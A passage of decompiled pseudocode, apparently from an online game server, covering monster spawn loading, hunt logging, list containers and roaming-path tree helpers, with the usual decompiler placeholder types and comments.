esi@1 int v9; // edx@1 OptionReader *v10; // ebp@1 unsigned int v11; // eax@2 char *v12; // eax@2 void *v13; // eax@4 void *v14; // esi@4 int v15; // eax@5 int v16; // ebp@9 int v17; // edx@10 char *v18; // esi@17 int v19; // edx@17 List *v20; // ecx@17 char v21; // al@17 char *v22; // eax@18 ORToken v23; // [sp-24h] [bp-20Ch]@4 int v24; // [sp-20h] [bp-208h]@4 char *v25; // [sp-1Ch] [bp-204h]@1 const char *v26; // [sp-18h] [bp-200h]@1 char *v27; // [sp-14h] [bp-1FCh]@1 int v28; // [sp-10h] [bp-1F8h]@1 int i; // [sp+4h] [bp-1E4h]@3 SafePointer or; // [sp+8h] [bp-1E0h]@1 MobHatchery *v31; // [sp+Ch] [bp-1DCh]@1 ORToken *v32; // [sp+10h] [bp-1D8h]@4 FunctionEntarance _; // [sp+14h] [bp-1D4h]@1 char path[128]; // [sp+18h] [bp-1D0h]@1 char buf[64]; // [sp+98h] [bp-150h]@7 char buffer[256]; // [sp+D8h] [bp-110h]@18 unsigned int cookie; // [sp+1D8h] [bp-10h]@23 int v38; // [sp+1E4h] [bp-4h]@1 v31 = this; _.fe_FunctionCode = "MobHatchery::mh_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobHatchery::mh_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobHatchery::mh_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v38 = 0; SafePointer::SafePointer(&or); v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_QWORD *)v4 = *(_QWORD *)&map_->n3_name[0]; *((_DWORD *)v4 + 2) = *(_DWORD *)&map_->n3_name[8]; v4[12] = 0; v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_DWORD *)v6 = *(_DWORD *)&world->n4_name[0]; v7 = *(_DWORD *)&world->n4_name[4]; v28 = (int)v4; *((_DWORD *)v6 + 1) = v7; v8 = *(_DWORD *)&world->n4_name[8]; v27 = v6; *((_DWORD *)v6 + 2) = v8; v9 = *(_DWORD *)&world->n4_name[12]; v26 = "../9Data/Shine/World/%s/MobRegen/%s.txt"; v25 = path; LOBYTE(v38) = 1; *((_DWORD *)v6 + 3) = v9; v6[16] = 0; sprintf(v25, v26); v10 = or.sp_pointer; if ( !OptionReader::or_Read(or.sp_pointer, path) ) { OptionReader::or_ClearError(v10); v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_QWORD *)v12 = *(_QWORD *)&map_->n3_name[0]; *((_DWORD *)v12 + 2) = *(_DWORD *)&map_->n3_name[8]; v12[12] = 0; sprintf(path, "../9Data/Shine/MobRegen/%s.txt"); if ( OptionReader::or_Read(v10, path) ) { i = 0; while ( 1 ) { v28 = i; v32 = &v23; v27 = 0; v26 = 0; v25 = 0; v24 = 0; *(_DWORD *)&v23.ort_Name[0] = 0; strncpy(v23.ort_Name, "MobRegenGroup", 0x14u); v13 = OptionReader::or_SelectFromOrder(v10, v23, v28); v14 = v13; if ( !v13 ) break; v15 = *(_DWORD *)((char *)v13 + 21); if ( v15 < (unsigned int)&wholesaver.ws_savestore[104].esc_skill.buffer[515] && *(_DWORD *)((char *)v14 + 25) < (unsigned int)&wholesaver.ws_savestore[104].esc_skill.buffer[515] ) { LOWORD(v15) = *(_WORD *)((char *)v31 + (_DWORD)((char *)&wholesaver + 18452652)); if ( (_WORD)v15 == -1 ) { v16 = 0; } else { v17 = *(_DWORD *)((char *)v31 + (_DWORD)((char *)&wholesaver + 18452640)); v28 = v15; v16 = (*(int (__stdcall **)(int))(v17 + 4))(v15); } if ( v16 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobHatchery::mh_Load : Too many MobRegenGroup", 0); ShineExit("MobHatchery::mh_Load"); } v28 = (int)((char *)v14 + 21); v27 = (char *)*((_BYTE *)v14 + 20); MobRegenClass::MobBreederGroup::mbg_Set( (MobRegenClass::MobBreederGroup *)v16, (ORToken *)v14, map_, (char)v27, (MobRegenStruct::RegenRegion *)((char *)v14 + 21)); *(_DWORD *)(v16 + 6580) = MobRoaming::MobRoamingSet::mrs_Load(&roamingpaths, world, (ORToken *)v14); v10 = or.sp_pointer; ++i; } else { v28 = *(_DWORD *)((char *)v14 + 25); AssertClass::ac_AssertFail(&shineassert, "MobHatchery::mh_Load : Invalid LoginLoc", v15, v28); ORToken::ort_GetString((ORToken *)v14, buf); ++i; } } mbsa.mbsa_map = map_; for ( i = 0; ; ++i ) { v28 = i; v32 = &v23; v27 = 0; v26 = 0; v25 = 0; v24 = 0; *(_DWORD *)&v23.ort_Name[0] = 0; strncpy(v23.ort_Name, "MobRegen", 0x14u); mbsa.mbsa_Struct = (MobRegenStruct::RegenMobStruct *)OptionReader::or_SelectFromOrder(v10, v23, v28); if ( !mbsa.mbsa_Struct ) break; namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v18 = (char *)&namestring + 256 * namestring.ns_point.value; *(_QWORD *)v18 = *(_QWORD *)&map_->n3_name[0]; v19 = *(_DWORD *)&map_->n3_name[8]; v28 = (int)MobRegenClass::MobBreederGroup::mbg_StoreData; v20 = (List *)((char *)v31 + (_DWORD)((char *)&wholesaver + 18452640)); *((_DWORD *)v18 + 2) = v19; v18[12] = 0; v21 = List::l_4AllInList( v20, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))v28); v32 = (ORToken *)(v21 == 0); if ( v21 ) { AssertClass::ac_AssertFail(&shineassert, "MobHatchery::mh_Load : RegenMob without RegenGroup in", v18); v22 = ORToken::ort_GetString(&mbsa.mbsa_Struct->rms_groupname, buffer); AssertClass::ac_AssertFail(&shineassert, "MobHatchery::mh_Load : RegenGroup is", v22); ShineExit("MobHatchery::mh_Load"); } } } } LOBYTE(v38) = 0; if ( v10 ) { OptionReader::_OptionReader(v10); operator delete(v10); } --funcallanalizer.fca_stackpoint; v38 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobHatchery::mh_Load"); __security_check_cookie(cookie); } //----- (00487870) -------------------------------------------------------- #803 *__thiscall MobRegenClass::MobBreederGroup::mbg_MobBreed(MobRegenClass::MobBreederGroup *this, Name3 *map_, SHINE_XY_TYPE *xy, int dir, unsigned __int16 mobid, char *itemindex, int mobnumber, int regensec, char family, int regennum, ORToken *aitype, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, char *droparea, unsigned __int16 dropmobid, int lev) { MobRegenClass::MobBreederGroup *v15; // esi@1 #803 *v16; // ebx@1 int v17; // ebp@1 int v18; // eax@4 #803 *v19; // edi@5 #803 *result; // eax@13 unsigned int map_a; // [sp+44h] [bp+4h]@3 int xya; // [sp+48h] [bp+8h]@4 v15 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_MobBreed"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_MobBreed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_BYTE *)v15 + 6444) = family; *(_QWORD *)((char *)v15 + 6493) = *(_QWORD *)&map_->n3_name[0]; v16 = 0; *(_DWORD *)((char *)v15 + 6501) = *(_DWORD *)&map_->n3_name[8]; MobRegenClass::MobBreederGroup::mbg_SetRegenLoc(v15, xy); v17 = mobnumber; *((_DWORD *)v15 + 1643) = dir; *(_QWORD *)((char *)v15 + 6508) = *(_QWORD *)&aitype->ort_Name[0]; *(_QWORD *)((char *)v15 + 6516) = *(_QWORD *)&aitype->ort_Name[8]; *((_DWORD *)v15 + 1631) = *(_DWORD *)&aitype->ort_Name[16]; if ( mobnumber <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::mbg_MobBreed : Minus mobnum", mobnumber); v17 = -mobnumber; } map_a = 0; if ( (unsigned int)v17 <= 0 ) { v19 = (#803 *)family; LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_MobBreed"); result = v19; } else { while ( 1 ) { v18 = *((_WORD *)v15 + 6); xya = v18; if ( (_WORD)v18 == -1 ) break; v19 = (#803 *)(*(int (__thiscall **)(MobRegenClass::MobBreederGroup *, int))(*(_DWORD *)v15 + 4))(v15, v18); if ( !v19 ) break; if ( family ) { if ( !v16 ) v16 = v19; } if ( !(unsigned __int8)MobRegenClass::MobBreeder::mb_MobBreed( v19, v15, mobid, itemindex, v17, regensec, regennum, v16, bandittemplete, droparea, dropmobid, lev) ) { (*(void (__thiscall **)(MobRegenClass::MobBreederGroup *, int))(*(_DWORD *)v15 + 8))(v15, xya); break; } ++map_a; if ( map_a >= v17 ) goto LABEL_15; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_MobBreed"); result = 0; } return result; } // 487300: using guessed type int __thiscall MobRegenClass__MobBreeder__mb_MobBreed(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); //----- (00487A50) -------------------------------------------------------- #803 *__thiscall MobHatchery::mh_MobBreed(MobHatchery *this, Name3 *map_, SHINE_XY_TYPE *xy, int dir, unsigned __int16 mobid, char *itemindex, int mobnumber, int regensec, char family, int regennum, ORToken *aitype, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, char *droparea, unsigned __int16 dropmobid, int lev) { MobHatchery *v15; // esi@1 int v16; // eax@1 MobRegenClass::MobBreederGroup *v17; // eax@2 #803 *result; // eax@3 #803 *v19; // eax@4 #803 *v20; // esi@4 v15 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobHatchery::mh_MobBreed"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobHatchery::mh_MobBreed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = *(_WORD *)((char *)v15 + (_DWORD)((char *)&wholesaver + 18452640) + 12); if ( (_WORD)v16 != -1 && (v17 = (MobRegenClass::MobBreederGroup *)(*(int (__stdcall **)(int))(*(_DWORD *)((char *)v15 + (_DWORD)((char *)&wholesaver + 18452640)) + 4))(v16)) != 0 ) { v19 = MobRegenClass::MobBreederGroup::mbg_MobBreed( v17, map_, xy, dir, mobid, itemindex, mobnumber, regensec, family, regennum, aitype, bandittemplete, droparea, dropmobid, lev); --funcallanalizer.fca_stackpoint; v20 = v19; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobHatchery::mh_MobBreed"); result = v20; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobHatchery::mh_MobBreed"); result = 0; } return result; } //----- (00487B80) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ItemLotAnalyser::LotChanger *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 ItemLotAnalyser::LotChanger *v5; // esi@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Prev; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; *(_DWORD *)&ele->item = *(_DWORD *)&v5->item; ele->delta = v5->delta; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (00487BD0) -------------------------------------------------------- #error "487BD0: undefined or illegal type '#434' (funcsize=65)" //----- (00487CE0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ItemLotAnalyser::LotChanger *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { *(_DWORD *)v3 = *(_DWORD *)&ele->item; *(_DWORD *)(v3 + 4) = ele->delta; result = 1; } else { result = 0; } return result; } //----- (00487D10) -------------------------------------------------------- void __thiscall HuntLog::MobHuntLog::mhl_SendAll2Log(HuntLog::MobHuntLog *this, #434 *sp) { HuntLog::MobHuntLog *v2; // edi@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // ecx@3 int v6; // eax@3 bool v7; // cf@3 int v8; // edx@4 char v9; // al@4 HuntLog::MobHuntElement **v10; // ecx@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "HuntLog::MobHuntLog::mhl_SendAll2Log"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "HuntLog::MobHuntLog::mhl_SendAll2Log"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.baseclass_0.l_Array[v2->baseclass_0.baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.baseclass_0.l_Array; v6 = v3; v7 = v3 < v4; v3 = v5[v3].ls_Next; if ( v7 && (v8 = 3 * v6, v9 = v5[v6].ls_IsActiv, v10 = (HuntLog::MobHuntElement **)&v5[4 * v8 / 0xCu], v9) ) HuntLog::MobHuntElement::mhe_Send2Log(*v10, sp); else HuntLog::MobHuntElement::mhe_Send2Log(0, sp); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "HuntLog::MobHuntLog::mhl_SendAll2Log"); } //----- (00487E00) -------------------------------------------------------- HuntLog::MobHuntElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(HuntLog::MobHuntElement *, List *, unsigned __int16, HuntLog::MobHuntElement *), unsigned __int16 *hnd, HuntLog::MobHuntElement *key) { HuntLog::MobHuntElement *result; // eax@1 ListSearchSame searcher; // [sp+0h] [bp-24h]@1 int v6; // [sp+20h] [bp-4h]@1 searcher.lss_compfunc = compfunc; searcher.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListSearchSame::_vftable_; searcher.lss_lst = this; searcher.lss_key = key; searcher.lss_found.element = 0; searcher.lss_found.hnd = -1; v6 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = searcher.lss_found.element; *hnd = searcher.lss_found.hnd; return result; } // 5B32A0: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, int handle); //----- (00487E70) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00487F90) -------------------------------------------------------- void __thiscall HuntLog::MobHuntLog::mhl_Logging(HuntLog::MobHuntLog *this, #434 *a2, unsigned __int16 mobid, unsigned int hnd) { HuntLog::MobHuntLog *v4; // esi@1 unsigned __int16 v5; // di@1 HuntLog::MobHuntElement *v6; // eax@1 unsigned __int16 v7; // cx@2 int v8; // eax@4 int v9; // eax@5 unsigned int v10; // ecx@6 HuntLog::MobHuntElement key; // [sp+4h] [bp-14h]@1 int v12; // [sp+14h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "HuntingLog::MobHuntLog::mhl_Logging"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "HuntingLog::MobHuntLog::mhl_Logging"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = mobid; v12 = 0; key.mobid = mobid; v6 = List::l_Search( &v4->baseclass_0.baseclass_0, (int (__thiscall *)(HuntLog::MobHuntElement *, List *, unsigned __int16, HuntLog::MobHuntElement *))HuntLog::MobHuntElement::mhe_Compare, &mobid, &key); if ( v6 ) { ++v6->number; v7 = v6->number; v6->expgain += hnd; if ( v7 >= 0xFDE8u ) HuntLog::MobHuntElement::mhe_Send2Log(v6, a2); } else { v8 = v4->baseclass_0.baseclass_0.l_Finger.empty; if ( (_WORD)v8 != -1 ) { v9 = (int)v4->baseclass_0.baseclass_0.vfptr->l_AllocA((List *)v4, v8); if ( v9 ) { v10 = hnd; *(_WORD *)v9 = v5; *(_WORD *)(v9 + 2) = 1; *(_DWORD *)(v9 + 4) = v10; } } } --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "HuntingLog::MobHuntLog::mhl_Logging"); } //----- (004880A0) -------------------------------------------------------- void __thiscall CommonList::CommonList(CommonList *this, int size) { CommonList *v2; // esi@1 int v3; // eax@1 int v4; // edx@2 ListStruct *v5; // ecx@4 HuntLog::MobHuntElement *v6; // ebp@4 int v7; // ecx@4 v2 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, size); v2->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2->cl_Array = (HuntLog::MobHuntElement *)operator new__(8 * size); v3 = 0; if ( size > 0 ) { v4 = 0; do { if ( v3 < v2->baseclass_0.l_MaxSize ) { v5 = v2->baseclass_0.l_Array; v6 = v5[v4].ls_Content; v7 = (int)&v5[v4]; if ( !v6 ) *(_DWORD *)v7 = &v2->cl_Array[v3]; } ++v3; ++v4; } while ( v3 < size ); } } // 5BC0DC: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (00488140) -------------------------------------------------------- void __thiscall HuntLog::MobHuntLog::MobHuntLog(HuntLog::MobHuntLog *this) { HuntLog::MobHuntLog *v1; // esi@1 v1 = this; CommonList::CommonList(&this->baseclass_0, 50); v1->baseclass_0.baseclass_0.vfptr = (ListVtbl *)List::_vftable_; } // 5BC0DC: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (00488160) -------------------------------------------------------- bool __thiscall MobRoaming::MobRoamingPath::operator<(MobRoaming::MobRoamingPath *this, MobRoaming::MobRoamingPath *rpth) { int v2; // edx@1 int v3; // esi@1 int v4; // eax@5 v2 = *(_DWORD *)&this->mrp_GroupName.ort_Name[0]; v3 = *(_DWORD *)&rpth->mrp_GroupName.ort_Name[0]; if ( v2 == v3 && (v2 = *(_DWORD *)&this->mrp_GroupName.ort_Name[4], v3 = *(_DWORD *)&rpth->mrp_GroupName.ort_Name[4], v2 == v3) && (v2 = *(_DWORD *)&this->mrp_GroupName.ort_Name[8], v3 = *(_DWORD *)&rpth->mrp_GroupName.ort_Name[8], v2 == v3) && (v2 = *(_DWORD *)&this->mrp_GroupName.ort_Name[12], v3 = *(_DWORD *)&rpth->mrp_GroupName.ort_Name[12], v2 == v3) ) v4 = *(_DWORD *)&this->mrp_GroupName.ort_Name[16] - *(_DWORD *)&rpth->mrp_GroupName.ort_Name[16] < 0; else v4 = v2 - v3 < 0; return v4; } //----- (004881B0) -------------------------------------------------------- void __thiscall MobRoamingPoint::mrp_Start(MobRoamingPoint *this) { this->mrp_Val._bf0 = 1; } //----- (004881C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_RoamingPathGet(int this) { return *(_DWORD *)(this + 7404); } //----- (004881D0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::som_IsAttackedDuringRoaming(int this) { return (*(_BYTE *)(this + 8808) >> 3) & 1; } //----- (004881E0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 42; return result; } //----- (00488200) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // ecx@1 result = _Pnode; for ( i = _Pnode->_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (00488220) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@2 int j; // eax@3 int i; // eax@6 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( !*(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 49) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 49) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 49); i = *(_DWORD *)(i + 4) ) { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(i + 8) ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 49); j = *(_DWORD *)j ) v2 = j; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00488280) -------------------------------------------------------- void __cdecl std::fill(MobRoaming::PathElement *_First, MobRoaming::PathElement *_Last, MobRoaming::PathElement *_Val) { void *i; // eax@1 int v4; // edi@2 for ( i = _First; i != _Last; *(_WORD *)v4 = *(_WORD *)&_Val->EventIndex[30] ) { memcpy(i, _Val, 0x28u); v4 = (int)((char *)i + 40); i = (char *)i + 42; } } //----- (004882B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_RoamingPathSet(void *this, int roaming) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RoamingPathSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_RoamingPathSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v2 + 1851) = roaming; if ( roaming ) *((_WORD *)v2 + 3704) = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RoamingPathSet"); } //----- (00488320) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Lbound(std::_Tree,std::allocator,0> > *this, MobRoaming::MobRoamingPath *_Keyval) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@1 int v4; // ebx@2 int v5; // edx@3 int v6; // edx@4 int v7; // edx@5 int v8; // esi@5 result = this->_Myhead; v3 = result->_Parent; if ( !v3->_Isnil ) { v4 = *(_DWORD *)&_Keyval->mrp_GroupName.ort_Name[0]; do { v5 = *(_DWORD *)&v3->_Myval.mrp_GroupName.ort_Name[0]; if ( v5 == v4 ) { v7 = *(_DWORD *)&v3->_Myval.mrp_GroupName.ort_Name[4]; v8 = *(_DWORD *)&_Keyval->mrp_GroupName.ort_Name[4]; if ( v7 == v8 ) { v7 = *(_DWORD *)&v3->_Myval.mrp_GroupName.ort_Name[8]; v8 = *(_DWORD *)&_Keyval->mrp_GroupName.ort_Name[8]; if ( v7 == v8 ) { v7 = *(_DWORD *)&v3->_Myval.mrp_GroupName.ort_Name[12]; v8 = *(_DWORD *)&_Keyval->mrp_GroupName.ort_Name[12]; if ( v7 == v8 ) { v7 = *(_DWORD *)&v3->_Myval.mrp_GroupName.ort_Name[16]; v8 = *(_DWORD *)&_Keyval->mrp_GroupName.ort_Name[16]; } } } v6 = v7 - v8; } else { v6 = v5 - v4; } if ( v6 >= 0 ) { result = v3; v3 = v3->_Left; } else { v3 = v3->_Right; } } while ( !v3->_Isnil ); } return result; } //----- (00488390) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@5 v2 = _Wherenode->_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = this->_Myhead; if ( _Wherenode == v3->_Parent ) { v3->_Parent = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (004883F0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@3 int i; // eax@4 int v4; // eax@7 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 49) ) { *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 49) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 49) ) { do { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)v4 ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 49) ); if ( !*(_BYTE *)(v4 + 49) ) *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 49); i = *(_DWORD *)(i + 8) ) v2 = i; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00488450) -------------------------------------------------------- MobRoaming::PathElement *__cdecl std::copy_backward(MobRoaming::PathElement *_First, MobRoaming::PathElement *_Last, MobRoaming::PathElement *_Dest) { MobRoaming::PathElement *v3; // edx@1 MobRoaming::PathElement *result; // eax@1 v3 = _Last; result = _Dest; while ( v3 != _First ) { --v3; --result; memcpy(result, v3, 0x2Au); } return result; } //----- (00488480) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x34u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (004884C0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(MobRoaming::PathElement *_First, unsigned int _Count, MobRoaming::PathElement *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x2Au); v6 = (char *)v6 + 42; --v5; } while ( v5 ); } } //----- (004884F0) -------------------------------------------------------- MobRoaming::PathElement *__cdecl std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, MobRoaming::PathElement *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::vector >::const_iterator v5; // edx@1 MobRoaming::PathElement *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, *(const void 